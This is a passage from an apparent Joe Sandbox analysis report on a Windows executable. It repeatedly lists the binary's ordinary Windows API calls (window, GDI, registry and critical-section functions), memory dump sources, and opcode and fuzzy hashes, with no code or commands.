          • SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040AD43
            • Part of subcall function 0040AB10: CreateFontIndirectA.GDI32 ref: 0040AB59
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$CreateFontIndirectObjectStock
          • String ID:
          • API String ID: 1613733799-0
          • Opcode ID: efd2061dc6aa225fb4b8bf6a17a682f64ae7f81a661834c7dc073fa28e5a4079
          • Instruction ID: 0126d090266f51eb0a6fc6fca6038e70294fa0c5d1702cf3fc2001b9f7832816
          • Opcode Fuzzy Hash: efd2061dc6aa225fb4b8bf6a17a682f64ae7f81a661834c7dc073fa28e5a4079
          • Instruction Fuzzy Hash: 5901D232200310BFDB24DB90EC44F9777A9AF88711F008859F6059B2A1C774EC82C795
          APIs
          • GetDlgItem.USER32(?,?), ref: 00494DCA
          • GetTopWindow.USER32(00000000), ref: 00494DDD
          • GetTopWindow.USER32(?), ref: 00494E0D
          • GetWindow.USER32(00000000,00000002), ref: 00494E28
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Item
          • String ID:
          • API String ID: 369458955-0
          • Opcode ID: 4fb4b83cec4be5e2f6c8a9ac3427b67afb626072b3cea0335b6c5c0df5e3ca43
          • Instruction ID: 8d3495bae528c351efb4eea68a9106f4afcf3b7631305b48863d6c2f4b179c08
          • Opcode Fuzzy Hash: 4fb4b83cec4be5e2f6c8a9ac3427b67afb626072b3cea0335b6c5c0df5e3ca43
          • Instruction Fuzzy Hash: 1D015A36501225BB8F222EA1CC00EAF3E99BF91390F048136FD0891220E739CA1296AD
          APIs
          • GetTopWindow.USER32(?), ref: 00494E46
          • SendMessageA.USER32(00000000,?,?,?), ref: 00494E7C
          • GetTopWindow.USER32(00000000), ref: 00494E89
          • GetWindow.USER32(00000000,00000002), ref: 00494EA7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$MessageSend
          • String ID:
          • API String ID: 1496643700-0
          • Opcode ID: 704e3346ec21422575be3f5510a67b09fcd0d2e677763fa606d0adbb38534dc2
          • Instruction ID: a4ecabe6a21e72acef8aa256e8c463355dbdc2c401ee10c1b8ebcd7565c160d4
          • Opcode Fuzzy Hash: 704e3346ec21422575be3f5510a67b09fcd0d2e677763fa606d0adbb38534dc2
          • Instruction Fuzzy Hash: D901083200111ABBCF126F95DC05EDF3F6ABF85361F058026FA0051160C73ACA72EBA9
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Item$EnableFocusMenuNextParent
          • String ID:
          • API String ID: 988757621-0
          • Opcode ID: 6da0568b2a8b75ab63e5f1a6a50997355803f9bd9be05ca21c507b2d0a649ccd
          • Instruction ID: 5713b713d7d81c6d8ee67cd17e1c8b2a2cce9a61d129b9d3786de8962c9eeee5
          • Opcode Fuzzy Hash: 6da0568b2a8b75ab63e5f1a6a50997355803f9bd9be05ca21c507b2d0a649ccd
          • Instruction Fuzzy Hash: 36118EB1200600AFCF289F25DC09B2ABFF5AF41311F158A3EF146862A0CB38E845CB58
          APIs
          • RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 00499BBE
          • RegCloseKey.ADVAPI32(00000000,?,?), ref: 00499BC7
          • wsprintfA.USER32 ref: 00499BE3
          • WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00499BFC
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClosePrivateProfileStringValueWritewsprintf
          • String ID:
          • API String ID: 1902064621-0
          • Opcode ID: f2213af625e7da4ebdab3fc104444bc05d08240754f56b9fda1b3c5c978e260f
          • Instruction ID: 6bb357199d004739c1c1ca4f94026ddbb08cdb6919dc8122632a7196b12452a8
          • Opcode Fuzzy Hash: f2213af625e7da4ebdab3fc104444bc05d08240754f56b9fda1b3c5c978e260f
          • Instruction Fuzzy Hash: F1016272400215BBDF115F68DC05FEA3FA9BF05714F04443AFA11E61A0D774D9208B98
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID: %d.%d$gfff
          • API String ID: 2111968516-3773932281
          • Opcode ID: 9bf213606ea3eed8b4acc45dbcb6ae6337fde9a24536920ceb34a7e539c51e32
          • Instruction ID: d2fbfcf037ca25a8a1bde80b3b58e7acdbf740dbaea0a01c89aaaafd8ba6ef2b
          • Opcode Fuzzy Hash: 9bf213606ea3eed8b4acc45dbcb6ae6337fde9a24536920ceb34a7e539c51e32
          • Instruction Fuzzy Hash: B3F024A5B0021027CB4C951FAC09E5B2A9AABEE710F09843FF449C7390D4A48C11826A
          APIs
          • GetObjectA.GDI32(00000000,0000000C,?), ref: 00495565
          • SetBkColor.GDI32(00000000,00000000), ref: 00495571
          • GetSysColor.USER32(00000008), ref: 00495581
          • SetTextColor.GDI32(00000000,?), ref: 0049558B
            • Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Color$LongObjectTextWindow
          • String ID:
          • API String ID: 2871169696-0
          • Opcode ID: e04f06bca73c2ffd460bbe1e036a85daea152ad693df3e40db04fceda949180d
          • Instruction ID: 897901d154df2d8f7a01cdd28d602d42be2cc46cdb4921bc4e5b92c779fedcb5
          • Opcode Fuzzy Hash: e04f06bca73c2ffd460bbe1e036a85daea152ad693df3e40db04fceda949180d
          • Instruction Fuzzy Hash: 8A016230100505BBDF225F54ED59AAF3F66AB093A0F614532FA01C41F6D738CD94CB59
          APIs
          • InterlockedExchange.KERNEL32(004FD700,00000001), ref: 0048F6AC
          • InitializeCriticalSection.KERNEL32(004FD6E8,?,?,?,0048F643), ref: 0048F6B7
          • EnterCriticalSection.KERNEL32(004FD6E8,?,?,?,0048F643), ref: 0048F6F6
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$EnterExchangeInitializeInterlocked
          • String ID:
          • API String ID: 3643093385-0
          • Opcode ID: aa364f2228b4e396d2f7610375fc0059316e7e62dd7035292bb147de94e9a132
          • Instruction ID: 715845b4e193f46fc62587295d1dbe23e99919c851f3edb64e71a5510a8de2d3
          • Opcode Fuzzy Hash: aa364f2228b4e396d2f7610375fc0059316e7e62dd7035292bb147de94e9a132
          • Instruction Fuzzy Hash: 15F0F472B442009BD61177906C49B3E3B96F3947B1F200A37F601F41B1E3A99806A71C
          APIs
          • GetWindowExtEx.GDI32(?,?), ref: 0049865A
          • GetViewportExtEx.GDI32(?,?), ref: 00498667
          • MulDiv.KERNEL32(?,00000000,00000000), ref: 0049868C
          • MulDiv.KERNEL32(?,00000000,00000000), ref: 004986A7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ViewportWindow
          • String ID:
          • API String ID: 1589084482-0
          • Opcode ID: 7b56e973b89fb9834793cffdf561e9f8452b3500cf8433e634fc6938c8df56ad
          • Instruction ID: 12c3b157b5d8d80c34c75aac6d01ee5c47c0e4aa01779157607defa6853ab6a4
          • Opcode Fuzzy Hash: 7b56e973b89fb9834793cffdf561e9f8452b3500cf8433e634fc6938c8df56ad
          • Instruction Fuzzy Hash: 7EF08C72400109FFEB007F65EC06CBEBBBDEF80710B11482AF965A2530EB71AE509B58
          APIs
          • GetWindowExtEx.GDI32(?,?), ref: 004986C3
          • GetViewportExtEx.GDI32(?,?), ref: 004986D0
          • MulDiv.KERNEL32(?,00000000,00000000), ref: 004986F5
          • MulDiv.KERNEL32(?,00000000,00000000), ref: 00498710
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ViewportWindow
          • String ID:
          • API String ID: 1589084482-0
          • Opcode ID: 4f04607972d1f9a8e88e5859802dcdd4d67cbaf906f8461cde7970c776e9bd2d
          • Instruction ID: abd8330c472e21c612a4b224d23950da65bd0abb19d7290729a875e6d6b16414
          • Opcode Fuzzy Hash: 4f04607972d1f9a8e88e5859802dcdd4d67cbaf906f8461cde7970c776e9bd2d
          • Instruction Fuzzy Hash: 69F08C72400109FFEB007F65EC06CBEBBBDEF80710B11482AF965A2530EB71AE509B58
          APIs
          • GetClientRect.USER32(?), ref: 0043C40F
          • PtInRect.USER32(?,?,?), ref: 0043C424
            • Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160
            • Part of subcall function 0043C840: UpdateWindow.USER32(00000002), ref: 0043C85D
          • GetCapture.USER32 ref: 0043C44C
          • SetCapture.USER32(00000002), ref: 0043C457
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CaptureRectWindow$ClientEnabledUpdate
          • String ID:
          • API String ID: 2789096292-0
          • Opcode ID: 839c28d07cdfab4fc520ab250957ed5f3ec5dee33c4b1754a5693c970e0f32ea
          • Instruction ID: e18fdb337bfaf3ab6581748974553a893713c87da8d40461147c8d4e6596f221
          • Opcode Fuzzy Hash: 839c28d07cdfab4fc520ab250957ed5f3ec5dee33c4b1754a5693c970e0f32ea
          • Instruction Fuzzy Hash: AFF0AF712002116BD714AB28DC9596B7BA8AF58B00F04481EF441D3250EB38E9048BA9
          APIs
          • RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,00000000,00000000), ref: 0041288A
          • RegQueryValueA.ADVAPI32 ref: 004128AE
          • lstrcpyA.KERNEL32(?,00000000), ref: 004128C1
          • RegCloseKey.ADVAPI32(?), ref: 004128CC
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseOpenQueryValuelstrcpy
          • String ID:
          • API String ID: 534897748-0
          • Opcode ID: 420135428c49cdf00416e936291b2df558585efd5c216229b6cd88f576885919
          • Instruction ID: c43697c541c0d419bf0b549be9f70a595b2e4789dd025e7432c4b56d5318cd2b
          • Opcode Fuzzy Hash: 420135428c49cdf00416e936291b2df558585efd5c216229b6cd88f576885919
          • Instruction Fuzzy Hash: 0BF04F79108315BFD320DB10DC88EABBBA8FB85754F008A1DB98982260D674D884CBA2
          APIs
          • lstrlenA.KERNEL32(?), ref: 00499307
          • GetWindowTextA.USER32(?,?,00000100), ref: 00499323
          • lstrcmpA.KERNEL32(?,?), ref: 00499337
          • SetWindowTextA.USER32(?,?), ref: 00499347
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: TextWindow$lstrcmplstrlen
          • String ID:
          • API String ID: 330964273-0
          • Opcode ID: 2255fff6c8465e6476571f94820f71dd7c755f5f2bc31c2f3373296a9cd0955c
          • Instruction ID: a893478e74b21878f4e38d782f115c60d28c2f421c16e7f3477fb35d876e5176
